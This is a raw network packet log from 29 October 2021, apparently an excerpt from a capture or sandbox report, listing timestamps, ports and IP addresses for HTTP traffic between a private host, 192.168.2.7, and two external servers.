Oct 29, 2021 15:31:14.878613949 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.878626108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.878624916 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.878638029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:14.878686905 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.878724098 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:14.880254030 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880275965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880295038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880311966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880327940 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880345106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880362988 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880378962 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880394936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880407095 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.880410910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880429029 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880439043 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.880445004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.880470991 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.880497932 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.881779909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881803989 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881820917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881841898 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881864071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881875992 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.881882906 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881902933 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881911993 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.881922007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881944895 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881951094 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.881963968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.881982088 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882003069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882004976 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882019997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882041931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882060051 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882061005 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882086039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882101059 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882108927 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882131100 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882144928 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882153034 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882175922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882194996 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882200003 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882224083 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882241964 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882250071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882275105 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882286072 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882299900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882325888 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882334948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882352114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882374048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882386923 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882399082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882425070 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882436991 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882447958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882469893 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882487059 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882489920 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882510900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882524967 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882531881 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882551908 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882566929 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882572889 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882594109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882611036 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882616043 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882637978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882653952 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882658005 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882679939 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882693052 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882702112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882723093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882741928 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882745028 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882766962 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882778883 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882788897 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882811069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882822990 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882832050 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882853031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882874966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882879972 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882895947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882908106 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882917881 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882939100 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882953882 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.882972002 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.882993937 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883013964 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883013964 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883034945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883054972 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883057117 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883075953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883095026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883101940 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883116007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883136034 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883137941 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883157969 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883178949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883186102 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883200884 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883213997 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883223057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883244991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883265018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883271933 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883285999 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883307934 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883308887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883330107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883349895 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883352041 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883369923 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883394957 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883394957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883415937 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883425951 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883438110 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883459091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883480072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883501053 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883501053 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883522987 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883539915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.883547068 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.883579016 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915169001 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915199995 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915219069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915235043 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915239096 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915252924 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915272951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915290117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915302992 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915307045 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915326118 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915343046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915359020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915370941 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915374994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915390968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915406942 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915414095 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915424109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915452957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915479898 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915482998 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915498972 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915515900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915530920 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915546894 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915548086 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915565968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915581942 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915615082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915623903 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915633917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915652037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915668964 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915688038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915697098 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915709972 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915728092 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915741920 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.915745020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915762901 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.915783882 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916003942 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916022062 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916038990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916045904 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916057110 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916074038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916075945 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916090965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916110039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916116953 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916126966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916141987 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916143894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916157961 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916174889 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916183949 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916192055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916208982 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916215897 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916227102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916245937 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916263103 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916269064 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916294098 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916302919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916311979 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916327953 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916521072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916548967 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916573048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.916575909 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.916610003 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.917478085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.917510986 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.917561054 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.920165062 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920203924 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920228958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920253038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920258045 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.920279026 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920303106 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920305014 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.920325994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920352936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920377970 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920380116 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.920401096 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920424938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920424938 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.920449018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.920481920 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.920516968 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.926621914 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926656961 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926681042 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926703930 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926706076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.926728010 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926752090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926757097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.926775932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926795959 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.926800966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926826954 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926839113 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.926852942 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926879883 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926887035 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.926903009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926927090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926938057 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.926951885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926975965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.926987886 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.927000999 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927025080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927036047 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.927048922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927074909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927084923 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.927098036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927123070 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927138090 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.927146912 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927170038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927189112 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.927192926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927253008 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.927917004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927948952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927978039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.927994967 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.928002119 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.928040028 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.929639101 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.929671049 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.929694891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.929713011 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.929718018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.929761887 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.929965973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.929996014 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.930017948 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.930032015 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.930042028 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.930058956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.930075884 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.958637953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958682060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958705902 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958728075 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958745003 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.958748102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958776951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958781958 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.958801031 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958826065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958848000 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958859921 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.958869934 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958892107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958906889 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.958914042 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958939075 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958949089 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.958965063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.958982944 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.958988905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959016085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959041119 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959053993 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959065914 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959093094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959100008 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959116936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959137917 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959141016 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959166050 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959191084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959192991 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959214926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959237099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959244967 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959260941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959284067 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959295034 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959306955 CEST	80	49841	194.180.174.181	192.168.2.7
